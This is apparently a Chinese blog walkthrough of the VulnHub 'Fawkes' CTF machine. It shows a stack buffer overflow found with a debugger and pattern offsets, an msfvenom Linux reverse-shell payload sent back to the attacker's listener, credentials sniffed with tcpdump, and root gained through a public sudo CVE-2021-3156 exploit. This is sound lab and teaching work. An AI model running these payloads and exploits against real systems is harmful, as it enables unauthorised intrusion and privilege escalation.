当前位置: 首页 > article >正文

vulnhub靶机之Fawkes

前言

这次的靶机与前面不同,这里涉及到缓冲区溢出等
这个靶机也让我知道薄弱点了,缓冲溢出这方面之前接触少,所以刚拿到这个靶机打开后,人蒙了,在网上查阅好多资料,也只是浅学一下,这里主要也是跟着其他师傅的步骤进行操作,在实践中去理解。
参考链接:https://www.cnblogs.com/Fab1an/p/18364950

靶机虚拟机环境为virtualbox,网卡为桥接模式

靶机:fawkes

攻击:kali

主机发现

使用arp-scan -l扫描,在同一网卡下

在这里插入图片描述

信息收集

端口发现

使用nmap简单扫描一下端口

在这里插入图片描述

可以看到两个SSH服务端口,只是使用的版本不同,还有一个9898端口,不知道是什么服务

网站目录扫描

一般网站可能都是目录型,这里直接进行扫描

在这里插入图片描述

很是罕见的什么都没有扫到,访问网站进行查看

在这里插入图片描述

啧,电影海报啊,这里下载图片,看有无隐藏信息

在这里插入图片描述

测试9898端口

虽是接口有返回信息等,但是毫无用处

在这里插入图片描述

测试21端口

测试使用anonymous匿名用户尝试登录,空密码登录成功,发现有文件,下载到kali

在这里插入图片描述

查看文件类型,是可执行文件

在这里插入图片描述

信息点小结

  1. 80端口只有一张图片,并且无其他内容
  2. SSH服务有两个端口,但是没有任何的用户名和密码
  3. FTP匿名登录成功,获取到可执行文件

测试可执行文件

根据上面的信息小结,可以知道,现在可用的也许只有SSH爆破和这个下载的可执行文件

给予执行权限

在这里插入图片描述

可以知道靶机上的9898端口的作用,应该就是启动了这个服务,为详细准确,再使用nc测试一遍

在这里插入图片描述

对该执行文件进行调试

关闭kali的alsr功能

alsr是内存地址随机化的安全技术,如若不关闭,会导致内存地址一直变化,无法确定关键点(缓存溢出的位置)

cd /proc/sys/kernel
echo randomize_va_space

在这里插入图片描述

使用工具进行调试

可以使用edb-debugger安装即可,或使用gdb

输入命令edb打开图形化界面进行调试

首先把可执行文件加入到调试器中,然后选择attch

在这里插入图片描述

当然这里的attch是通过进程进行的测试,所以需要输入关键字server来过滤,只要那个服务的开启。直接导入文件的话,是不需要的

在这里插入图片描述

初步调试,确定是否可行,在用户输入的话,也必须开始调试才能进行下一步。那么交互的话,用户可输入,就使劲输入,看程序是否崩溃或者怎么样。

平常在数据库中,不就是有的是有长度限制吗。

在这里插入图片描述

尝试输入很多数值字符来判断,这里最终测试400个A时,出现错误,地址0x41414141不存在

在这里插入图片描述

缓冲区溢出

可以看到,这里被覆盖了

在这里插入图片描述

EIP寄存器,是执行下一跳指令的内存地址,就是可以指定跳转到那里

ESP寄存器,是存储数据的,具体指令

那么使用msf生成400无规律排列的字符,方便寻找到在那里溢出

msf-pattern_create -l 400

在这里插入图片描述

记住这个地址,然后使用msf去寻找刚刚生成的那个序列排在哪里

msf-pattern_offset -l 400 -q 0x64413764

在这里插入图片描述

可以确定偏移量为112,可以生成112个A,4个B,和多个C

因为之前报错也是可以看到的,为四个字符16进制组成

可以看到,这里的报错是B的十六进制

在这里插入图片描述

从下面也可以清晰的看出EIP的指定内存地址,以及ESP的指令

在这里插入图片描述

下面就需要构造使得EIP指向ESP的内存地址,而ESP的指令该怎么能够获得反弹shell

首先要知道ESP的内存地址,这样就可以自己加上这个内存地址,防止溢出

在这里插入图片描述

选择可执行的内存地址,因为这是跳转到指令,而且如果不能执行,修改了也无作用

在这里插入图片描述

点击find,记下jmp esp的内存地址,0x08049d55

在这里插入图片描述

jmp esp是一条汇编指令。jmp是 “jump” 的缩写,意思是跳转。esp是栈指针寄存器(Extended Stack Pointer)。这条指令的作用是使程序的执行流程跳转到esp寄存器所指向的内存地址。

制造反弹shell

已知偏移量为112ESP内存地址为0x08049d55,那么只需要编造16进制的payload进行反弹shell,这里的靶机为小端序,内存地址需要颠倒\x55\x9d\x04\x08

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.1.16 LPORT=8888 -b "\x00" -f python

在这里插入图片描述

把上面生成的写入到python文件中,但是这里只是生成ESP所要执行的指令,还需要和前面的溢出配合,不然无法正确的使EIP跳转正确

在这里插入图片描述

payload中加了之前并没有的'\x90'*32是为了防止恶意代码离的太近

在这里插入图片描述

然后这时候,运行可执行文件,然后另起终端开启监听8888端口,与上面的反弹shell端口一致

然后执行python脚本

在本机上运行的服务进行而此时,成功

在这里插入图片描述

那么修改payload为靶机地址和端口,然后测试

在这里插入图片描述

反弹成功,获取一个shell

在这里插入图片描述

提权

测试,靶机没有python,无法使用python创建交互式的终端,测试使用/bash/bash -i也不行,

最终是/bash/sh -i成功,在当前目录下,发现可能是密码的文本HarrYp0tter@Hogwarts123

在这里插入图片描述

尝试使用ssh测试,默认端口的SSH服务连接不上,测试2222端口的

在这里插入图片描述

使用find查找具有SUID权限的,有sudo并且可以执行任意

在这里插入图片描述

查看后,发现root没有密码,直接sudo su -切换到root,然后呢,查看root目录下的文件

在这里插入图片描述

这里说,“我们发现有人试图经过FTP的错误去登录,你应该去分析流量然后指出用户”

这里测试靶机有无监听流量的工具,如wireshark、tcpdump

查看网卡信息

在这里插入图片描述

使用tcpdump监听

获取到用户名neville,密码bL!Bsg3k

tcpdump -i eth0 port 21

在这里插入图片描述

使用这个用户名和密码登录,注意,这里登录的是22端口的SSH服务

在这里插入图片描述

寻找SUID,发现找到sudo,但是不能使用

在这里插入图片描述

收集信息

在这里插入图片描述

使用searchsploit搜索,发现提权中的方法与可以使用的,不匹配

漏洞提权

在百度搜索,确实有,项目地址https://github.com/worawit/CVE-2021-3156/blob/main/exploit_nss.py

漏洞介绍https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit

在这里插入图片描述

测试,靶机有nc命令,也有wget命令

py文件传输到靶机,使用wget也行

在这里插入图片描述

最终提权成功

在这里插入图片描述

清除痕迹

在这里插入图片描述

总结

整个靶机的重点在于缓冲区溢出

  1. 要知道什么是缓冲区溢出,然后就是会找到溢出位置
  2. 理解两个寄存器EIPESP
  3. 要会编写一个简单的python来直接进行发送信息
  4. sudo -l不可用,以及其他不能提权时,想到内核漏洞以及命令版本漏洞

使用工具

edb-debugger进行文件调测,找到缓冲溢出的位置

msf-pattern_create -l 400生成400个无规律排列字符

msf-apttern_offset -l 400 -q 0x64413764找到刚刚生成字符的位置,这里是十六进制进行查找

which定位命令路径

lsb_release -a查看系统

sudo --version查看命令版本


http://www.kler.cn/a/416808.html

相关文章:

  • 第五讲:运算符与表达式:算术、关系、逻辑、赋值等运算符及其优先级
  • C++ 字符串中数字识别
  • 网络原理(一)—— http
  • canal同步数据教程
  • 小游戏聚合SDK的工具类封装
  • 多线服务器和BGP服务器有什么区别
  • C#结合.NET框架快速构建和部署AI应用
  • 【超全总结】深度学习分割模型的损失函数类别及应用场景
  • sunshine和moonlight串流网络丢失帧高的问题(局域网)
  • SickOs: 1.1靶场学习小记
  • asyncio.run() 里面嵌套 asyncio.run() 可以吗?
  • 【Leetcode】3232.判断是否可以赢得数字游戏
  • APIPost内置函数的使用与学习
  • 利用若依代码生成器实现课程管理模块开发
  • 【QNX+Android虚拟化方案】128 - QNX 侧触摸屏驱动解析
  • 【一文读懂】大语言模型
  • Q-2A型金相试样切割机
  • 如何讲json数据转换为二维数据后导出为excel文件
  • Linux服务器CentOS操作系统运维用ntp和crontab同步网络时间
  • 亚马逊API拿取商品详情
  • 【开源免费】基于Vue和SpringBoot的古典舞在线交流平台(附论文)
  • MySQL(数据库)
  • springboot338it职业生涯规划系统--论文pf(论文+源码)_kaic
  • 时序论文28|CycleNet:通过对周期模式进行建模增强时间序列预测
  • 【Gitlab】gitrunner并发配置
  • Ps:存储 Adobe PDF